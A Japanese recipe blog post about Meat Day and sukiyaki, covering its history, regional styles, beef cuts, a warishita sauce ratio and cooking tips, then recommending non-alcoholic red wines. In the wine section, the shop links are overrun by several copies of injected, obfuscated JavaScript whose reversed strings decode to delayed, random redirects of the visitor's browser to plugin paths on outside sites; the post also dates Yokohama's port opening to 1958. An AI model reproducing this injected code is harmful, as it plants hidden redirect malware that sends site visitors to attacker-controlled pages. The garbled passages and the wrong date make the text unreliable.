まもなく肉の日！美味しいすき焼きのコツ

   

  楽しむ・学ぶ

 

まもなくやってくる2月9日は、全国食肉事業協同組合連合会が定める「お肉の日」。
なかなか外食もままならないこの時期、今年の肉の日は自宅でゆっくり美味しいお肉を楽しんでみませんか？

さて、日本を代表する高級肉料理といえばやはりすき焼きです。
きめ細やかな霜降りの、とろけるような口当たりのお肉。一口食べるだけで、家族みんなが笑顔になりますよね！
今回は、すき焼きの歴史・豆知識や、自宅で楽しめる美味しいすき焼きの作り方をご紹介いたします。

◇すき焼きの歴史を学ぼう

・すき焼きの名前の由来は？

すき焼きの名前の由来には色々な説がありますが、有力とされているのは、江戸時代に農夫が使い古した農機具の鋤（すき）を火にかけ、その上に肉や魚を乗せて調理した、「鋤焼き」が元になっているという説です。
この他にも、薄く切った肉を意味する「すき身」を使うことから「すき焼き」になったという説、また、食材を杉の木で焚いた火で調理した「杉（すぎ）焼き」が元という説などがあります。

・すき「焼き」なのになぜ煮るの？

すき焼きという呼び名はもともと関西発祥といわれています。
関西のすき焼きは元々、鉄板でお肉や野菜を焼き、お皿に取って調味料を入れて味付けして食べる焼肉のようなスタイルの料理でした。
なので現在でも割り下は使わず、まず鉄板に牛脂を溶かしてお肉を焼いて、そこにしょうゆ・砂糖・みりん・お酒を直接入れて調味した後、野菜やその他の具を加えていく方法で作られます。
お肉が主役の関西風すき焼き。ガッツリとお肉を楽しみたいなら関西風すき焼きがお薦めです。

それに対して、関東では、だし汁にしょうゆ・砂糖・みりんやお酒をまぜて割り下を作り、それを煮たてたところに野菜を加え火を通し、それからお肉を入れていきます。鍋料理である関東風すき焼きは、だしに野菜やお肉のうまみが溶け出して、やさしくまろやかな味わいです。

どうして同じすき焼きなのに、このような違いがあるのでしょうか？
実は、関東のすき焼きの元になったのは、横浜発祥の牛鍋といわれています。
長い鎖国時代をへて、横浜港が開港したのが1958年。貿易港として発展してゆく中、沢山の西洋の文化が移入され、その時に牛肉を食べる文化も入ってきました。
肉食用の家畜を育てる習慣がなく、また、仏教伝来以降、獣を食することに強いタブー感があった江戸時代の日本。しかし、牛鍋は文明開化のシンボルとして爆発的な人気を呼び、明治時代に入る頃の東京には次々と牛鍋屋が立ち並ぶようになりました。
肉質が固くあまり良くなかったこの時代、牛鍋には角切りのお肉が使われ、また、獣臭さを消すために味噌を入れたタレで煮込んで味付けされていました。
このように、関東のすき焼きはこの牛鍋がもとになっていたため、なべ料理として発展していったと考えられています。
ところが、1923年の関東大震災で、東京の牛鍋屋は大きな被害にあい閉店してしまいます。その後、関西のすき焼きが関東に伝わり、関西のすき焼き文化と関東の牛鍋文化が融合した結果、「すき焼き」という名前にもかかわらず、タレで煮込む鍋物風の「関東風のすき焼き」が誕生したのです。

◇家庭で作る、美味しいすき焼きのコツ

それでは、家庭ですき焼きを作る際に気を付けたいポイントを見て行きましょう。

・肉はどの部位を選ぶ？

牛肉の部位はなんと16種類にも分かれると言われます。その中で、すき焼きに適した部位を見てみましょう。

まず、お肉の味わいをしっかり堪能したい方におすすめなのが、モモやかた。
いずれも赤身が多めで、濃厚なお肉のうま味が楽しめます。モモの場合、特に脂が少なめので、調理中に硬くならないよう、火を通す時間は短めにしたほうが良いでしょう。

また、予算を抑えてすき焼きを楽しみたい時は、バラ肉がおすすめです。
バラ肉は赤身と脂肪が層になっており、濃厚な味わいが特徴。焼肉によく使われる部位ですが、すき焼きでも美味しく楽しめます。
こちらも、煮込みすぎるとお肉が硬くなるため、火の通り具合に気を付けましょう。

霜降りのとろけるような口当たりを味わいたい方にお薦めなのが、かたロース
、そして、リブロースやサーロイン。
肩ロースは、しっかりとしたお肉のうま味を楽しめる部位。しっかりサシが入っているお肉を選べば、柔らかな舌触りも楽しめます。
リブロース、サーロインは肉質が細かく、とろけるような柔らかさが特徴です。サシもしっかりと入っていて、脂のうま味が堪能できる高級部位。贅沢したい日にお薦めのお肉です。
好み・予算に応じて、お肉を選んでみて下さいね！

・一人分のお肉の量は？

一人分のお肉の量は、およそ次の量を目安にするとよいでしょう。
男性　150～200グラム
女性　150グラム
子供　100グラム
お肉の量だけ見ると少なく感じますが、これ以外にも野菜・白滝・焼き豆腐などの具が入るので、十分満足できますよ！

・割り下、美味しい黄金比率は？

鍋に直接調味料を入れて調味していくのが本来の関西風すき焼き。しかし、その時によって甘くなったり辛くなり過ぎたりと、味の調節が難しいのが困った点です。
それに対して、先に割り下と呼ばれる調味液を作り、その中で具を煮る関東風スタイルは、味の調節も簡単にできて安心。現在では関西でも、調味には関東風の割り下を使う家庭が増えているようです。
では、美味しい割り下のレシピをご紹介しましょう。

【割り下の黄金比率】（2～3人分）(材料)
しょうゆ　100CC
みりん　100CC
酒（普通の日本酒）　100CC　
砂糖　30グラム（ザラメ、茶色い色のもの）

（作り方）
・鍋にみりん、酒を入れ強火で沸騰させてアルコールを飛ばす。炎が上がることがあるので注意しましょう。
・アルコールが飛んだら、ザラメとしょうゆを入れて、中火で温めたら完成。

ザラメはカラメル分を含んでいるため、割り下にザラメを使うと味わいにコクが出ます。なければ普通の砂糖で大丈夫です。
また、日本酒の代わり料理酒を使用する場合は塩分に注意。料理酒にはあらかじめ塩分が添加されているので、味が濃くなりすぎる恐れがあります。その場合は、出汁を加えるなどして調節しましょう。

・美味しいすき焼きの作り方

材料：すき焼き肉、ネギ、玉ねぎ（あらかじめレンジなどで軽く火を通すとよい）、焼き豆腐、しらたき（湯でこぼしておく）、麩、キノコ類など好みの具

1.　すき焼き鍋を熱して、牛脂を溶かし、まずネギを焼く。香ばしい焦げ目がついたら取り出す。
2.　肉を投入。少し色づいてきたら、割り下を少量加えてからめ、まずは肉を食べます。肉の美味しさをまず味わいましょう。
3.　残った肉を鍋の端に寄せて煮えすぎないようにして、割り下と、野菜類・その他の具を入れて火を通す。
4.　煮えたら、溶き卵につけて召し上がれ！

（美味しい作り方のコツ）
・肉は常温に戻してから
冷たいままの肉をいきなり加熱すると固くなってしまうとご存じですか？
肉は、必ず食べ始める30分ほど前に冷蔵庫から出し、常温に戻すのが美味しく食べるコツです。

・油は牛脂を使おう
焼き脂は、サラダオイルなどは使わず、うま味のある牛脂を使うのが一番。ただし、融点の低い牛脂は、冷めてしまうと固まります。熱々を食べましょうね！

・しらたきと肉、一緒に入れて大丈夫？
しらたきを固める際に使われる凝固剤の水酸化カルシウムが、肉のタンパク質を硬化させるので、白滝と肉は遠ざけたほうがいいという説があります。実際は、しらたきに含まれるカルシウムは100グラム中75㎎で、なんと同じくすき焼きに使われる焼き豆腐の約半分程度。
柔らかい肉の口当たりを楽しむには、むしろ、肉選びと加熱時間を気にかけましょう。

◇すき焼きに合うノンアルコールワインはコレだ！

すき焼きと一緒に楽しみたいノンアルコールワインとして、Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreで販売中のベルギーのネオブュル社のノンアルコール赤ワイン2種をご紹介します。

ネオブュル社のノンアルコール商品のリアルな味わいの秘密は、特殊なアルコール除去方法。
ベースとなるワインからアルコールを取り除く際には蒸留を行いますが、通常、アルコールの蒸発温度は78度。しかし、このような高温では、ワインのアロマやフレーバーが熱で変化して、味わいが損なわれてしまいます。
そこで、ネオブリュ社では、真空状態で蒸留ができる特殊な設備を使用。通常よりはるかに低い32℃という低温で、ワインがもつアロマやフレーバーを守りながらアルコールを0.0％まで除去しました。
なので、ノンアルコールにも関わらず、その味わいはまるで本物のワインのよう！
妊娠や授乳中の方、健康維持のためにアルコールを控えている方、体質的にアルコールに弱い方はもちろん、ワインは大好きだけど今日はアルコールは避けたいという方まで、皆様の様々なニーズに合わせて楽しんでいただけますよ！

☆ヴィンテンス　ピノ・ノワール
レッドチェリーのような華やかな赤果実の香りに、控えめなタンニン。渋みが少なく、ほのかな甘みあるイキイキと軽やかな口当たり。赤ワインが苦手な方にも楽しんでいただけるノンアルコール赤ワインです。
$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.com/view/item/000000000170″>Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreで見る

☆ヴィンテンス　メルロー
ベリー系の果実の香りとほんのりしたロースト香。フルーティさの中に、ほのかにタンニンとスパイシーさが感じられ、赤ワイン好きの方にも満足していただけるノンアルコール赤ワインです。
$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.com/view/item/000000000015″>Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreで見る

$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.png”>

全員に返信返信転送